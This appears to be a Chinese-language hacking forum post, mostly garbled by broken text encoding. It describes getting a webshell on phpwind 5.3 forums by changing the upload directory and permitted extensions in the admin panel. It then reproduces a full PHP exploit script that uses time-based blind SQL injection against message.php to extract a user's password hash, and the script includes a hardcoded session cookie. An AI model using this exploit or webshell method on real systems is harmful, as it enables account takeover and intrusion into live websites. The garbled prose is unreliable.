phpwind5.3̨shell

[phpwind5.3̨shell ȫ]
ţ 11дɵϹߣ3Զ й
            ʱһѪȷ硣
             Nڿվ̳׷ױڡ  
            컹ڳôshell
           Ҫлͬ־ѣ
           1 php.exeذ ҲͲҸͲphp
           Ҫܵľ
          203ļ⡣
           Ҿؽһ PHPУaspۻҽ䣩
          
ȵһɵһߣɵB̨
            ڡá 㡰 ̬Ŀ¼
            ޸   Ŀ¼   ԭݡattachment ΪXX.asp
             ύ޸

Ȼڡá 㡰븽        ޸ ϴ׺(ո)   asp php׺
        ύ޸ġ

   ǰ̨ ϴ   һaspС 
  
    ڵ̨    ͼ[attach]1511[/attach]    ༭   ûдԼûԼոϴ asp

    ᷢ ͼ[attach]1512[/attach]   һ  Ȼ߹

     ׼ȻҪphpˡ ϶ϴɹġ
  
      Ҫע ϴĿ¼Ҫ޸ġӦxx.asp֮ˡ
    ֱڸĿ¼Ҳ ֻ   Ǻ [attach]1513[/attach]

           ȻĿ¼ָ ɾղϴaspš һºۼҴ
               ž һرѹphp Ҳ֪Ƕ١55555555555

       óԴ档
      <?php
print_r("

+------------------------------------------------------------------+

Exploit For Phpwind 5.X Version
BY Loveshell
Just For Fun :)

+------------------------------------------------------------------+
");

ini_set("max_execution_time",0);
error_reporting(7);

$bbspath="$argv[2]";
$server="$argv[1]";
$cookie=''1ae40_lastfid=0; 1ae40_ol_offset=776; 1ae40_ck_info=%2F%09.72m.net; 1ae40_winduser=A1QKBgE9UFxUUwAHDloFUAMIAFxeUgIMWgFUVVYDAA8HBFQNUVA%3D; 1ae40_lastvisit=0%091173612527%09%2Fbbs%2Findex.php%3F;
$useragent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)";
$uid=intval($argv[3])>0 ? intval($argv[3]):1;

echo "\r\n#Logging\t........";
if(islogin()) echo "Login Ok!\r\n";
else die("Not Login!\tCheck Your Cookie and Useragent!\r\n");

echo "#Testing\t........";
if(test()) echo "Vul!\r\n";
else die("Not Vul");

$hashtable=''0123456789abcdef'';
$count=0;

echo "#Cracking\t\r\n\r\n";

for($i=1;$i<=16;$i++){
echo "\t$i\tλ:";
$subpass=crack($i+8);
$password=$password.$subpass;
echo "$subpass\r\n";
}

echo "Password:\t$password";

echo "\r\nGood Luck $count Times\r\n";

function send($cmd,$path)
{
global $bbspath,$server,$cookie,$count,$useragent,$debug,$evilip;

$path=$bbspath."$path";
$message = "POST ".$path." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Referer: http://".$server.$path."\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: ".$useragent."\r\n";
$message .= "Host: ".$server."\r\n";
$message .= "Content-length: ".strlen($cmd)."\r\n";
$message .= "Connection: Keep-Alive\r\n";
$message .= "Cookie: ".$cookie."\r\n";
$message .= "\r\n";
$message .= $cmd."\r\n";

$count=$count+1;
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
$resp = "<pre>";
while($fd&&!feof($fd)) {
$resp .= fread($fd,1024);
}
fclose($fd);
$resp .="</pre>";
if($debug) {echo $cmd;echo $resp;}
// echo $resp;
return $resp;
}

function sqlject($sql){
global $uid;
$data=''action=pubmsg&readmsg=0)'';
$data=$data." union select BENCHMARK(1000000,md5(12345)) from pw_members where uid=$uid and $sql".''/*'';
$echo=send($data,''message.php'');
preg_match("/Total (.*)\(/i",$echo,$matches);
if($matches[1]>2) return 1;
else return 0;
}

function test(){
global $uid;
$data=''action=pubmsg&readmsg=0)'';
$echo=send($data,''message.php'');
if(strpos($echo,''MySQL Server Error'')) return 1;
else return 0;
}

function islogin(){
global $uid;
$data=''action=pubmsg&readmsg=0)'';
$echo=send($data,''message.php'');
if(strpos($echo,''login.php"'')) return 0;
else return 1;
}

function crack($i){
global $hashtable;

$sql="mid(password,$i,1)>0x".bin2hex(''8'');
if(sqlject($sql)){
$a=8;
$b=15;}
else {
$a=0;
$b=8;
}

for($tmp=$a;$tmp<=$b;$tmp++){
$sql="mid(password,$i,1)=0x".bin2hex($hashtable[$tmp]);
if(sqlject($sql)) return $hashtable[$tmp];
}
crack($i);
}
?>
